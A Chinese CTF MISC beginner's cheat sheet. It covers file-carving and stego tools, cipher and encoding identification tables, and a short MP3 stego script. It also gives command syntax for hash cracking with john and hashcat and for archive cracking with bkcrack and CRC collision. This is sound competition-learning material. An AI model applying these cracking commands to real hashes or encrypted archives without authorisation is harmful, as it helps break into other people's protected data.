大一的时候总结归纳的,现在步入大四了,已经退役,遂分享,知识点并不全,仅仅给小白快速入门看看,文末也有笔者的一些 MISC 手感悟。
工具 / 命令名称 | 用途 | 命令 / 示例 | 参数(常用) |
---|---|---|---|
trid | 文件类型查询 | trid.exe 输入文件路径 | |
file | 文件类型查询 | file 输入文件路径 | |
xortool | 文件异或爆破 | python xortool.py 输入文件python xortool.py inputfile -l 1 -c 00 | -l key长度 -c 字符长度 -m 字符最大长度 -x 输入转为16进制 -b 暴力破解所有可能项 -o 暴力打印出所有可能项 |
010Editor | 16进制编辑器 | ||
WinHex | 16进制编辑器 | ||
binwalk | 文件分离 | binwalk 参数 输入文件binwalk -e inputfile --run-as=root | -e 文件分离 -R 搜索字符串 |
foremost | 文件分离 | foremost 参数 输入文件foremost -i inputfile -T | -t 指定文件类型 -i 指定输入文件路径 -a 写入所有文件头部 -o 指定输出目录 -T 输出为当前时间名目录 |
strings | strings | strings 参数 输入文件strings inputfile | -a 扫描整个文件 -d 打印已初始化数据 -e(s,S,b,B,L)s 7bit S 8bit b,l 16bit B,L32bit 进行encoding进行编码 -f显示字符前显示文件名 -t 字符串偏移位置-T 指定二进制格式 -v 显示版本信息 -w默认情况下 显示空白字符 |
工具 / 命令名称 | 用途 | 命令 / 示例 | 参数(常用) |
---|---|---|---|
john | hash爆破 | 详细在附表中 | |
hashcat | hash爆破 | 详细在附表中 | |
ciphey | 自动解码器 | ||
basecrack | base编码自动解码 | python basecrack.py -b base-text | -b 传递单个base编码数据解码 -f 传递多个base编码数据解码/文件 -m 对任意模式的多重base编码数据解码 -o 使用解码的base数据生成的字典输出 |
dcode.fr/cipher-identifier | 杂项密码特征识别 | ||
cipherchef text-encoding-brust | 特殊编码爆破 | ||
magic | 特殊编码爆破 | ||
breakautokey | autokey爆破 | 修改python脚本内密文python breakautokey.py | |
cyberchef | 解码器 | ||
[随波逐流]CTF编码工具箱 | 解码器 | ||
ToolsFx | 解码器 | ||
CTFcrack | 解码器 | ||
logic | 逻辑分析器 | ||
iconv | 字符集转换 | iconv -t 编码方式 密文iconv -f utf-8 -t type-7 text | 将编码由-f 编码转为 -t 编码 |
010editor | 字符集转换 |
john
john hash文件
--single 简单爆破模式
--incremental 逐个遍历模式,遍历完所有可能
--show 显示已经破解的hash
--wordlist=字典 纯字典模式
--users=user 只破解指定用户的hash
--groups=user 只破解指定用户的hash
--shells=shell 只破解指定shell的hash
hashcat
hashcat 参数 字典
hashcat 参数 指定字符集 hash值hashcat -a3 hash值 abcde???? 字典文件
hashcat -a 3 -1 123456abcdf!@+- 8b78ba5089b11326290bc15cf0b9a07d ?1?1?1?1?1
-a 0字典攻击 1 组合攻击 3 掩码攻击 6 Hybrid Wordlist + Mask字典+掩码破解7 Hybrid Mask + Wordlist掩码+字典破解l 纯小写字母u 纯大写字母d 纯数字h 十六进制小写字母和数字H 十六进制大写字母和数字s 特殊字符a 键盘上所有可见的字符b 空格
-m 指定破解的hash类型 例如5600指ntlm
-o 使用解密的hash 写入指定文件中--force 忽略破解时的警告
--show 显示已破解的hash
--increment 逐个遍历模式,遍历完所有可能
--increment-max
--increment-min--outfile-format 指定输出格式
--username 忽略用户名
--remove 删除已破解成功的hash
-r 使用自定义破解规则
-s 查看当前破解状态
-p 暂停
-r 继续
-q 退出破解
密码编码类型(类似16进制) | 示例 | 特征 |
---|---|---|
16进制 | 68656C6C6F | 数字,字母组成 |
Twin-Hex | 239fg5g4f0b900 | 类似16进制,数字,字母组成 |
PDU | 0291F111000191F10 | 类似16进制,数字,字母组成 |
type7 | 000C160A0854 | 类似16进制,数字,字母组成,需要纯数字种子值 |
base16 | 68656C6C6F776F7264 | 数字,大写字母组成 |
| 密码编码类型(类似base64)
(注:可换表) | 示例 | 特征 |
---|---|---|
base16 | 68656C6C6F776F7264 | 数字,大写字母组成 |
base32 | NBSWY3DPEB3W64TMMQ====== | 数字,大写字母组成,末尾== |
base58 | 6sBRWyxcbhCVD5 | 数字,大小写字母组成 |
base62 | xoloNoNoZstoZs9oNoh | 数字,大小写字母组成 |
base64 | ZmxhZ3toZWxsb193b3JsZH0= | 数字,大小写字母组成,末尾== |
base85 | aGV3b2VhZGFzZGFzZA== | 数字,大小写字母组成 |
base91 | Ao(mgHY?u,Ci<[)DfTZ)I/ | 乱码 |
base92 | Fcsd#$#@21 | |
kKnsM*k | 乱码 | |
base100 | 😀 😁 😂 🤣 😃 😄 | emoji |
火狐登入凭证 | AAAAAAAAAAAAiufidfdf/78fd== | 类似base64,开头为AAAAA |
serpent加密 | gAKUfehWxai3MyVGwSwSC4uLZ9754uQUv4zAm7S5uDM= | 类似base64,需要长度为16/24的key |
XXencode | ANalVNrglAXAoBHNx++ | 类似base64,末尾++ |
炉石传说卡牌密码 | iufidfdf/78fd== | 类似base64 |
AES加密(可更改模式,密钥可用16进制的00补齐,并非固定U2FsdGVk开头) | U2FsdGVk2Pfk/Umm6X7RJX3c=( | 类似base64,需要key,可位移,开通头为U2FsdGVkX1/ |
DES加密(可更改模式,并非固定U2FsdGVk开头) | U2FsdGVkX1/7QUziyk8BujXBf= | 类似base64,需要key,可位移,开通头为U2FsdGVkX1/ |
RC4加密(可更改模式,并非固定U2FsdGVk开头) | U2FsdGVkX19hDaCHrdmB+8ct0X/xSzQ== | 类似base64,需要key,可位移,开通头为U2FsdGVkX1/ |
Rabbit加密(可更改模式,并非固定U2FsdGVk开头) | U2FsdGVkX1/e6VmpUSr0MJKS3AY= | 类似base64,需要key,可位移,开通头为U2FsdGVkX1/ |
TripleDES(可更改模式,并非固定U2FsdGVk开头) | U2FsdGVkX1/e6VmpU+bKS3AY= | 类似base64,需要key,可位移,开通头为U2FsdGVkX1/ |
bsae64隐写 | bsd3==ad4g== | 多行base64组合而成 |
密码编码类型(类似url编码) | 示例 | 特征 |
---|---|---|
敲击码 | .... .. .... .. ... .. .. | . ,一种字符 |
摩斯密码 | .-.--/..----/...-- | .- 组成,两种字符 |
分组摩斯密码 | ----... .. .--. -....-- | .- 组成,两种字符 |
培根密码 | ABABBBBABBBA | AB组成,两种字符 |
A1Z26 | -23-21-22-21-20 | -数字-数字-数字A=1,B=2 ,,, Z=26 |
qutoed-printable | =65=66=67=69 | =数字=数字=数字 |
shell编码 | \x64\x68\x99\x56 | \x数字\x数字\x数字 |
URL编码 | %66%56%88%45 | %数字%数字%数字 |
Escape/Unescape | %u0056%u0044%u0021 | %u数字%u数字%u数字 |
HTML实体编码 | @#34;@#22;@#56; | @#数字;@#数字;@#数字; |
!!!! | &#x数字;&#x数字;&#x数字; | |
#x66;#x6c;#x61; | #x数字;#x数字;#x数字; | |
unicode | @#34;@#22;@#56; | @#数字;@#数字;@#数字; |
@#x55;@#x55;@#x32; | @#x数字;@#数字;@#x数字; | |
\U0056\U0041\U0021 | \U数字\U数字\U数字 | |
\U+0056\U+0021\U+0041 | \U+数字\U+数字\U+数字 |
密码编码类型(整串数字) | 示例 | 特征 |
---|---|---|
时间戳 | 11120203 | |
进制转换 | 1123 3345345 344 | 整串数字 / 多串数字 |
PT2242,PT2252 | 01010000001010 | 01组成,两种字符01代表F 00代表0 11代表1 |
二进制转整数(整数 long to bytes)原理为:int -> hex -> unhexlify | 01010000001010 | 01组成 |
8421码 5421码 2421码 | 01010000001010 | 01组成 |
01248云影密码 | 012480248028 | 01248组成以0为分界线,片段内数字相加,对应1-26位字母表 |
ascii码加密 | 233312312312343 | |
多次hex编码 | 6464666693839 | 其16进制还是数字 |
超长整数(libnum.n2s) | 12334344545453453451 | 长度很长的整数 |
超长整数(long to bytes) | 12334344545453453451 | 长度很长的整数 |
tupper绘图函数 | 12336643543545786362698759 | 超级长的整数 |
密码编码类型(多串数字) | 示例 | 特征 |
---|---|---|
16进制 | 1 12 2 23 3 34 | 整串数字 / 多串数字(个数范围1~16) |
进制转换 | 1123 3345345 344 | 整串数字 / 多串数字 |
简单替换 | 00001 11000 00012 10102 11002 | 可替换成Ook brainfuck字符ook原理:01201 五个一组0-->. 1-->! 2-->?Ook --> text以每个符号为末尾,形成OokOok. Ook! Ook? Ook. Ook! 补充:头部有 15 个 . |
博多码 | 00100 00001 00111 | 01组成,单个片段长度为5 |
toy密码 | 0012 0012 0112 1111 | 012组成,单个片段长度为4 |
8进制 | 0123 0022 0213 00158 | 类似ascii码 |
棋盘密码 | 51 12 22 41 | 两数字一对,数字上限值为5 |
敲击码 | 52 21 22 23 | 两数字一对,数字上限值为5 |
格朗普雷密码 | 88 82 27 77 | 两数字一对,数字上限值为8 |
A1Z26 | -23-21-22-21-20 | -数字-数字-数字A=1,B=2 ,,, Z=26 |
qutoed-printable | =65=66=67=69 | =数字=数字=数字 |
洛基亚键盘密码A | 32 53 21 | 两数字一对 |
洛基亚键盘密码B | 222 333 55 11 | 多个相同数字组成 |
键盘密码C | 12,18,22,23 | 数字转换为键盘的键位QWERTYUIOP 11-18 |
ascii码 | 109 98 99 112 | ascii码 |
ascii码-128 | 223 238 202 248 | 类似ascii码ascii码 - 128 |
比尔密码 | 317,2,92,73,112 | 类似ascii码 |
玻璃表四密码 | 213124 412 1345 | 多数字组成,数字上限值为8 |
TTL隐写 | 63 127 127 191 255 | 64,127,191,255组成TTL原理:将数字转为二进制,取前两位数字,重新拼凑出新的二进制,再转为ascii |
Hamdycode | 44 33 555 666 22 | 类似诺基亚键盘密码,多个相同数字组成 |
超长整数(n2s) | 12334344545 453453451 | 长度很长的多整数 |
RGB三原色 | (255,255,255)(0,0,0) | rgb三原色 |
元素周期表 | 9 2 11 21 23 | 以对应序列号的元素周期元素首字母 |
元素周期密码 | 52 41 11 12 99 | 多串数字组成,对应该元素的中文谐音 |
五笔输入法 | 0123 2212 2314 | 多串数字组成 |
中文电码 | 2755 0031 2974 2945 | 多串数字组成,单个片段长度为4 |
中文四角号码 | 2729 47447 | 多串数字组成,单个片段长度为5 |
Gronsfled | ISDASDASDSA11 12 32 43 | 密文为英文,密码为多串数字from pycipher import Gronsfeldprint(Gronsfeld([1,50,61,8,9,20,63,41]).decipher("TGLBOMSJNSRAJAZDEZXGHSJNZWHG"))# SICTFSHUMUISAGOODBOYYYYYYYYY |
密码编码类型(整串英文) | 示例 | 特征 |
---|---|---|
键盘密码 | LOIUJMYTYRFV | 整串英文组成 |
恩尼格玛密码 | OLCVSETZZ | 整串英文组成 |
四方密码 | THBCVEAHGNGVNN | 整串英文组成,需要两个字母表(密钥方块) |
自动钥匙密码Autokey | ulsydscothoxsh | 整串英文组成,需要key |
滚动钥匙密码 | oiwwcokfco | 整串英文组成,需要key |
希尔密码 | pltpfnplkvrfqbnc | 整串英文组成,需要4个整数key |
普莱菲尔密码 | LUNBAKSS | 整串英文组成,矩阵密码,需要key |
porta密码 | ztxubepz | 整串英文组成,矩阵密码,需要key(矩阵类似维吉尼亚密码表) |
双密码 | HBDSADXCX | 整串英文组成,矩阵密码,需要长度为25的字母表key,以及一个整数key |
列位移密码 | llefolagh | 整串英文组成,以回路排列,可填充大量字符,需要key |
密码编码类型(多串英文) | 示例 | 特征 |
---|---|---|
键盘密码 | LOIUJM YTYRFV | 多串英文组成 |
Gronsfeld密码 | kpmtpw zqsl | 多串英文组成,需要一个整数key |
Digrafid密码 | Hx Di Bm Cn | 两大小写英文一对,多串英文组成 |
ADFGX/ADFGVX | ADFX GAVX AGFX | ADFGVX组成,矩阵密码 |
Toy密码 | ACEG ADEG AEDH | 多串英文组成,矩阵密码 |
Bazeries密码 | TE EQU ICK BRO | 多串英文组成,需要字母矩阵以及随机数字 |
BubbleBabble | swds-asd-dasx-cx | 英文-英文-英文 |
poem codes 诗歌密码 | the life that i have | 诗歌,多串英文单词组成,需要解密消息(key) |
rockstar 编程语言 | Say Problem MakersThe flag is in your heartThe confusion is in your mind | rockstar编程语言 |
ppencode | length q continue vec and print | 多串英文单词组成 |
五笔输入法 | DSOA DSX CXA ACXS | 多串英文组成 |
仓吉输入法 | SIUD DSXX CAXX | 多串英文组成 |
郑码 | CXEF FXVV SAAAS | 多串英文组成 |
密码编码类型(位移密码) | 示例 | 特征 |
---|---|---|
简单换位密码 | uzdf{dasf_asdd_as} | 换位密码 |
埃特巴什密码 | uozt{svoold} | 换位密码表一:abcd...xyz表二:zyx...cba |
qwert密码 | uozt{svoold} | 换位密码表一:abcdefg...xyz表二:qwerty...bnm |
仿射密码 | iwft{exwwdn} | 换位密码,需要两个整数key参数 |
维吉尼亚密码 | ulsy{dscodw} | 矩阵密码guballa.de 维吉尼亚密码爆破quipquip,快速求解器爆破 |
关键字密码 | RGPD{BOGGJVJMW} | 矩阵密码,需要key |
双密码 | hbfnpoaahvdii | 矩阵密码,需要长度为25的字母表key,以及一个整数key |
普莱菲尔密码 | LUNBAKSS | 整串英文组成,矩阵密码,需要key |
porta密码 | ztxubepz | 整串英文组成,矩阵密码,需要key(矩阵类似维吉尼亚密码表) |
密码编码类型(回路密码) | 示例 | 特征 |
---|---|---|
栅栏密码 | fa{elwr}lghlood | 以W回路排列,可填充大量字符 |
曲路密码 | }ey@r{gag10_f | 以回路排列,可填充大量字符 |
列位移密码 | llefolagh | 以回路排列,可填充大量字符,需要key |
杂类中文编码请使用随波逐流工具!!!
六十年甲子 | 甲子 乙丑 | 天干地支表对应干支表排序数 1-60 再加上一个甲子60 得到的ascii |
---|---|---|
诗歌密码 | 窗前明月光 疑似地上霜hello world i love it | 诗歌 |
兽音密码 | 嗷呜,嗷嗷嗷呜 | 兽音 |
佛曰 | 佛曰:僧諳缽薩嚤伏諳空諳耨諳伏諳念如諳囑諳 | 佛曰:新佛曰:佛又曰: |
熊曰 | 熊曰:呋食性哮噤樣覺 | 熊曰: |
社会主义核心价值观 | 富强民主文明和谐自由 | 社会主义核心价值观 |
阴阳怪气 | 不 会 吧 ? 就 这 ¿ 不 会 吧 ? | 不会吧 就这 |
百家姓暗号 | 赵钱孙李黄 | 百家姓姓名 |
笔画隐写(当铺密码) | 人王二一 | 按照突出的笔尖算数量 |
文言文代码 | 曰:然者 | 文言IDE |
密码编码类型(杂类) | 示例 | 特征 |
---|---|---|
dcode.fr/cipher-identifier | +-+-++--+- ++---+-++- -+--++-++- +--++-++-- --+++++--- ++-++---+- +++- | |
cipherchef text-encoding-brust(选项改为decode) | ÃÜÂëΪ£º¼òµ¥µÄ±àÂë | 乱码 |
base100 | 😀 😁 😂 🤣 😃 😄 | emoji |
emoji | 😀 😁 😂 🤣 😃 😄 | emoji |
webdingswingdings | 特殊的icon字体(杂锦字体) | 特殊的icon字体 |
pika | pika piika pikapika | pika |
俄语隐写 | Привет | 俄语spammimic解码 |
特定字符编码 | 汉字,数字,字母,音乐符号,国际音标,盲文,韩文,日文,彝文,泰文,箭头符号,花朵符号,俄文 | 特定字符,末尾== |
蝌蚪文 | 无法展示 文字类似蝌蚪 | |
盲文隐写 | ⣿ ⠼ ⠸ | 盲文 |
boke code | ⣿ ⠼ ⠸ | 盲文 |
spam垃圾邮件隐写 | i tell you 70 present sall | 垃圾邮件spammimic.com |
纯文本隐写类型 | 示例 | 特征 |
---|---|---|
零宽隐写(可隐写文件) | ‌‪‪ | 文本长度过长不匹配 16进制下显示‌‪‪ |
text_watermark | ‌‪‪ | 类似 0 宽,都是 \u200c |
snow隐写 | 空白格隐写 | |
whitespcae | 许多回车键 缩进之类的文本 | |
cloakify | hello nice too meet | 很多英文单词 |
twitter secret message | hello nice too meet | 很多大小不一样的字符 |
特殊编码类型 | 示例 | 特征 |
---|---|---|
gunplot | (0,1,1),(0,1,1),(0,2,2),(0,2,1) | 平面坐标系,空间坐标系 |
GPS Visualizer | 116.117529w, 39.957202e | GPS坐标 |
Gcode,G语言 | G90 G21 XY7 F100 M2 | Gcode编程语言 |
UT Dallas | FD CS PU HT SU RT LT | logo绘图 |
工具名称 | 用途 |
---|---|
VareCrypt | 加解密工具 |
TrueCrypt | 加解密工具 |
PasswareKitForensic | 爆破密码 |
工具 / 命令名称(图片信息类) | 用途 | 命令 / 示例 | 参数(常用) |
---|---|---|---|
MagicEXIF | exif | ||
exiftool | exif | exiftool.exe 输入文件 exiftool.exe inputfile |
|
identify | exif | identify 输入文件 identify -format "%T" .gif > .txt |
|
piet | 彩色图片 | neipt -q 图片路径 | -q |
Imagefuck | 彩色图片 | 总结对应 RGB 值对应出现频次 替换成 brainfuck 字符,解码brainfuck字符 | |
stegdetect | 查询jpg加密方式 | stegdetect.exe 参数 输入文件 stegdetect.exe -s 10 -tjpio inputfile |
-s 敏感度 -t 检测哪些加密方式:j-jsteg p-jphide o-outguess i-invisible |
tweakpng | 查询png异常 | ||
pngcheck | 查询png块是否异常 | pngcheck.exe 输入文件 pngcheck.exe inputfile |
-7 打印文本块的内容 -f 即使出错仍继续 -p 显示PLTE tRNS hlST PPLT的内容 -q 静默测试 -s 在另一个文件中搜索PNG -t 显示tEXt 块内容 -V 打印出大多数块的数据 -x 搜索PNG并提取 |
PNGDebugger | 判断crc是否正确 | PNGDebugger.exe 输入文件 PNGDebugger.exe inputfile |
|
APNG Disassembler | 查询apng帧数间隔 | ||
GIMP | 图片查看 | ||
bpgview | 查看bpg图片 | bpgview.exe 输入文件 bpgview.exe inputfile |
|
zsteg | 查看lsb隐写 | zsteg 参数 输入文件 zsteg -e 颜色通道 inputfile |
-a 查看所有可能通道组合 -e 分离文件 |
stegosolve | 查看lsb隐写,图片结合 | bitorder:MSB First LSB FirstExtract:Row Columb(读取方式)Bit Plane Order(颜色通道) | |
BcomparePortable | 图像比较 | ||
Image magic | 查看图片 | ||
gaps-master | 拼图 | gaps run ./flag.png newfalg.png --generations=48 --population=20 --size=100 | gaps run 运行拼图./图片路径--generations=--poplation=--size=图片宽度 |
PhotoShop | 编辑图片 |
工具 / 命令名称(隐写工具) | 命令 / 示例 | 参数(常用) |
---|---|---|
PuzzleSlover(图片梭哈工具) | ||
像素隐写 | python web.py | 双图对比有一点像素变化,像素隐写 |
bftools | bftools.exe decode braincopter 输入图片 --output 输出文件 | decode braincopter 解密brainfuck图片 |
BlindWaterMark | 加密: python bwmforpy3.py 参数 输入文件 水印文件 输出文件 python2 bwm.py 参数 输入文件 水印文件 输出文件 解密: python bwmforpy3.py encode 输入文件 水印文件 输出文件 python bwmforpy3.py decode 输入文件 水印文件 输出文件 |
--oldseed 旧算法 --alpha 新算法 |
cloack-pixel-master(lsb) | 加密: python2 lsb.py hide inputfile outputfile 解密:python2 lsb.py extract inputfile outputfile |
hide 隐写extract 解密 |
F5-steganography | 加密: cd f5-steganography && java Embed 输入文件 -e 隐藏文件 -p 密码 解密: cd f5-steganography && java Extract 输入文件 -e 隐藏文件 -p 密码 |
Embed 隐写Extract 解密-e 导入隐藏文件-p 密码 |
outguess | 加密: outguess -k 密码 -d 输入文件 隐写文件 输出文件 解密: outguess -r 输入文件 输出文件 -k 密码 爆破: python outguess爆破脚本.pyoutguess -r inputfile outputfile -k password |
-k 密码-d 输出文件-r 解密文件 |
steghide | 加密: steghide embed -cf 输入文件 -ef隐藏文件 -p 密码 解密: steghide extract -sf 输入文件 -p 密码 爆破: stegseek 隐写图片 爆破字典 |
-cf 输入文件-ef 隐藏文件-sf 输出文件-p 密码 |
stegseek(steghide爆破) | stegseek 隐写图片 爆破字典 | |
stegpy | 加密: stegpy 隐写内容 隐写图片 -p 密码 解密: stegpy 隐写图片 -p 密码 |
-p 密码 |
DeEgger Embedder | ||
jphide | ||
jstego | ||
Silent | ||
wbStego4.3open | ||
S-Tools | 加密: 拖入输入文件-->拖入隐藏文件于隐写文件上方-->hide 解密: 拖入图片-->邮件隐写文件窗口-->reveal |
隐写特征 | |
---|---|
SilentEyes | 图片类型为 BMP JPG 且在Stegslove里不同通道看到很多像素小块 ,文件末有众多乱码 |
FreefileCamouflage | 末尾有很多base64FF D9 第一段base64 0D 0A 第二段base64 0D 0A |
DeEgger Embedder | 末尾有很多无意义字符 IDAT每层大小为200cIDAT每层大小为200c末尾有很多无意义字符 |
OurSecret | 末尾ž—º* l<9l0kl10n88j:8<.... |
stegpy | 看起来有点lsb隐写的样子,但不是 |
Free File Camouflage | 文件末尾有一段base64编码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码 |
---|---|---|
jpg | stegdetect | 隐写检测 |
WaterMarkH | 盲水印 | |
BlindWatermark | 盲水印 | |
Stegsolve | lsb隐写 | |
cloacked-pixel-master | lsb隐写 / 有密码 | |
Jstego | 无密码 | |
DeEgger Embedder | 无密码 | |
JPHS | 无密码 / 有密码 | |
Free File Camouflage | 无密码 / 有密码 | |
F5-steganography | 无密码 / 有密码 | |
OurSecret | 无密码 / 有密码 | |
outguess | 无密码 / 有密码 | |
Pixeljihad | 无密码 / 有密码 | |
SilentEye | 无密码 / 有密码 | |
Steghide(如果密码被识别成参数,打双引号!) | 无密码 / 有密码 | |
stegpy | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
png | Pngcheck | 图片结构 |
tewakpng | 图片结构 | |
PIL Image 库生成图片,修补图片缺失块,例如 PLETE 块(注意大小之类必须相同,根据PNG模块的 PNG 色彩模式 选择 RGB RGBA 之类的模式生成相同size图片) | PIL Image库 | 图片结构 |
gaps 图片拼接(需要输入一整张完整图) | gaps run ./flag.png newfalg.png --generations=48 --population=20 --size=100 | 图片拼接 |
png crc | crc 宽高爆破爆破原理:通过修改宽高并对png块的有效内容进行crc32计算爆破,例如:一个块包含uint32length / union CTYPE type / struct PNG_CHUNK_IHDR / uint32 crcuint32是块信息,其余内容为块内容 | |
PngIDAT | IDAT解压缩 / IDAT zlib解压缩 | |
WaterMarkH | 盲水印 | |
BlindWatermark | 盲水印 | |
Stegsolve | lsb隐写 | |
cloacked-pixel-master | lsb隐写 / 有密码 | |
DeEgger Embedder | 无密码 | |
OurSecret | 无密码 / 有密码 | |
Pixeljihad | 无密码 / 有密码 | |
Silent Eye | 无密码 / 有密码 | |
sregpy | 无密码 / 有密码 | |
wbStego4.3open | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
apng | APNG Disassembler | 帧数间隔隐写 |
cloacked-pixel-master | lsb隐写 / 有密码 | |
OurSecret | 无密码 / 有密码 | |
Pixeljihad | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
bmp | bmp宽高爆破原理 | pixelsize = (bfsize - bfoffbitsize // channel) |
Stegsolve | lsb隐写 | |
cloacked-pixel-master | lsb隐写 / 有密码 | |
WaterMarkH | 盲水印 | |
S-Tools | 有密码 | |
Pixeljihad | 无密码 / 有密码 | |
SilentEye | 无密码 / 有密码 | |
Steghide | 无密码 / 有密码 | |
stegpy | 无密码 / 有密码 | |
OurSecret | 无密码 / 有密码 | |
wbStego4.3open | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
bpg | BPGview | BPG查看 |
cloacked-pixel-master | lsb隐写 / 无密码 / 有密码 | |
OurSecret | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
tiff | cloacked-pixel-master | lsb隐写 / 有密码 |
OurSecret | 无密码 / 有密码 | |
SilentEye | 无密码 / 有密码 | |
Steghide | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
gif | identify | 帧数间隔提取 |
UUtool | gif拆分 | |
Stegsolve | lsb隐写 | |
cloacked-pixel-master | lsb隐写 / 有密码 | |
WaterMarkH | 盲水印 | |
S-Tools | 有密码 | |
stegpy | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型,有无密码) |
---|---|---|
WEBP | 浏览器打开 | |
stegpy | 无密码 / 有密码 | |
PNM | outguess | 无密码 / 有密码 |
工具 / 命令名称(隐写工具) | 用途 | 命令 / 示例 |
---|---|---|
010Editor | ||
kinovea | 逐秒分析 | |
VLC | 逐秒分析 | |
Adobe Audition | DIFF隐写音频对比wave库音频双通道对比 | |
Audacity | 频谱解密 波形分析 | |
multimon-ng | 电音频分析(类似无线电频) | |
MMSSTV | 无线电音频分析 | |
QSSTV | ||
DTMF 拨号隐写 | 拨号隐写 | dtmf2num.exe 输入文件 dtmf2num.exe inputfile |
工具 / 命令名称(隐写工具) | 用途 | 命令 / 示例 |
010Editor |
工具 / 命令名称(隐写工具) | 命令 / 示例 | 参数(常用) |
---|---|---|
SilentEye | ||
DeepSound | 爆破: python DeepsoundHash.py |
|
MP3Stego | 加密: encode.exe -E 隐藏文件 -P 密码 输入文件 解密: Decode.exe -X 输入文件 -P密码 |
-E 隐写文件-X 解密文件-P 密码 |
steghide | 加密: steghide embed -cf 输入文件 -ef 隐藏文件 -p 密码 解密: steghide extract -sf 输入文件 -p 密码爆破:python steghide 爆破脚本 stegseek 隐写图片 爆破字典 |
-cf 输入文件-sf 输入文件-p 密码 |
文件类型 | 隐写工具 | 说明(隐写类型 / 有无密码) |
---|---|---|
MP3 | DeEggerEmbedder | 无密码 |
DeepSound | 无密码 / 有密码 | |
MP3Stego | 无密码 / 有密码 | |
OurSecret | 无密码 / 有密码 | |
private位隐写 |
# mp3 private 位隐写
f = open('题目-我爱你中国.mp3','rb').read()
flag = ''
i = 0
while i < len(f):
i += 1
if (f[i:i + 2] == b'\xFF\xFB' and f[i + 2] > 143):
tmp = bin(int(f[i+2]))[2:].zfill(8)
i += 0x1a0
if(str(tmp[7]) == '1'):
flag += '1'
else:
flag += '0'
# print(flag)
# str1 = ''
# for i in range(0, len(flag), 8):
# tmp = flag[i:i + 8]
# str1 += chr(int(tmp, 2))
# print(str1)
from PIL import Image
w,h = 389,26
img = Image.new("RGB",(w,h),(255,255,255))
for i in range(h):
for j in range(w):
if(flag[i*w+j] == '0'):
img.putpixel((j,i),(255,255,255))
else:
img.putpixel((j,i),(0,0,0))
img.show()
文件类型 | 隐写工具 | 说明(隐写类型 / 有无密码) |
---|---|---|
WAV | S-Tools | 有密码 |
SilentEye | 无密码 / 有密码 | |
DeepSound | 无密码 / 有密码 | |
MP3Stego | 无密码 / 有密码 | |
OurSecret | 无密码 / 有密码 | |
Steghide | 无密码 / 有密码 | |
stegpy | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型 / 有无密码) |
---|---|---|
AVI | DeEggerEmbedder | 无密码 |
OurSecret | 无密码 / 有密码 |
文件类型 | 隐写工具 | 说明(隐写类型 / 有无密码) |
---|---|---|
AU | steghide | 无密码 / 有密码 |
FLAC | Deepsound | 无密码 / 有密码 |
APE | Deepsound | 无密码 / 有密码 |
压缩包如果偏移什么都对的上,且不是异或,则试试将该段数据逆序
文件末尾有信息,可能是真信息
压缩包修复 winrar--> tools --> repair archive
伪加密 ZipCenop
解密:java -jar ZipCenOp.jar r 压缩包.zip
伪加密 010Editor/Winhex
文件类型 | 文件16进制数据 |
---|---|
ZIP | 数据区:50 4B 03 04 00 00 [00 00]目录区:50 4B 01 02 00 00 00 00 [00 00]都为 [00] 表示无加密 |
RAR | 52 61 72 21 1A 07 01 00 33 92 B5 E5 0A 01 05 0600 05 01 01 80 80 00 [0] 表示无加密 [4] 表示加密 |
文件类型 | 文件16进制数据 |
碰撞原理:对内容进行爆破并crc32计算(整数型)
python crc32.py reverse 0xCRC密文
zip-crc-tools-main
python main.py -h
ZipCRCAnlyse
python ZipCRCAnlyse.py-h
攻击类型 | 说明 |
---|---|
暴力 | 要是发现爆不出,可能字符集错了! |
掩码 | abcd????ijkl 使用?代替未知字符 |
字典 | |
明文 | 压缩包的加密方式,加密软件,CRC值相同爆破一段时间即可停止,无需爆破至结束爆破出密钥,直接保存即可解压出压缩包 |
担保WinZip 恢复 | |
口令来自密钥 |
( 可搭配archpr的明文爆破使用,并不需要完全破解,输入密钥即可)
搭配指令:echo -n "16进制明文"|xxd -r -ps > 输出文件
-n 不换行输出
xxd 用二进制或者16进制显示内容
-r 把现实的十六进制转换为二进制内容
-p 以16进制转储输出
-s 偏移值
爆破参数:
-C 加密压缩包
-c 提取密文的部分
-p 提取铭文的部分
-x 压缩包内加密文件的偏移值 部分已知明文
-o 明文文件在压缩包内加密文件的偏移值
-time 显示时间
-k 密钥
-d 输出文件
爆破指令:
常规爆破指令:bkcrack -C一级文件 -c二级文件 -p明文文件(根据16进制构造头文件)
稀疏明文爆破指令: bkcrack -C 上级文件 -c 下级文件 -p 明文文件 -x 已知的连续明文 -x 已知的连续明文 -o 偏移量
绕过8字节检测:bkcrack -C 上级文件 -c 下级文件 -p 明文文件-o 30 -x 0 504b0304
解密指令:bkcrack -C上级文件 -c 下级文件 -p 明文文件 -d 解密文件
解密指令:bkcrack -C上级文件 -c 下级文件 -k 密钥 密钥 密钥 -d 解密文件
解压指令:python tools/inflate.py < 解密文件 > 解压文件 (如果使用了压缩文件压缩,则可以使用该命令解压)
新加密指令:bkcrack -C上级文件 -c 下级文件 -k 密钥 密钥 密钥 -U 解锁新文件 新密码
指定长度恢复密码:bkcrack -k 密钥 密钥 密钥 -r 长度 ?p(最小长度n..最大长度n)
NtfsStreamsEditor2 360压缩查看提取
文件类型 | 隐写方式 |
---|---|
txt | 零宽隐写(可隐写文件) stegsnow whitespcae wbStego4.3open需要密码/无需密码 |
doc,xlsx | 转成zip查看文件结构,文字行距,隐藏字体 |
wbStego4.3open隐写 需要密码/无需密码 | |
office文件 | ctrl+A,修改文字颜色以及字体 |
AOPR office文档爆破 | |
oletool olevba | 文档宏功能 |
snow snow.exe 参数 输入文件路径
snow.exe -C example -p "password" output -C 压缩
-Q 静音
-S 报告文本近似空间量
-p 密码
-l 隐写空格时,生成比此短的值
-f 隐写空格时,隐写入此文件
-m 隐写空格时,隐写入此文件内容
工具/命令 | 用途 | 命令 / 示例 |
---|---|---|
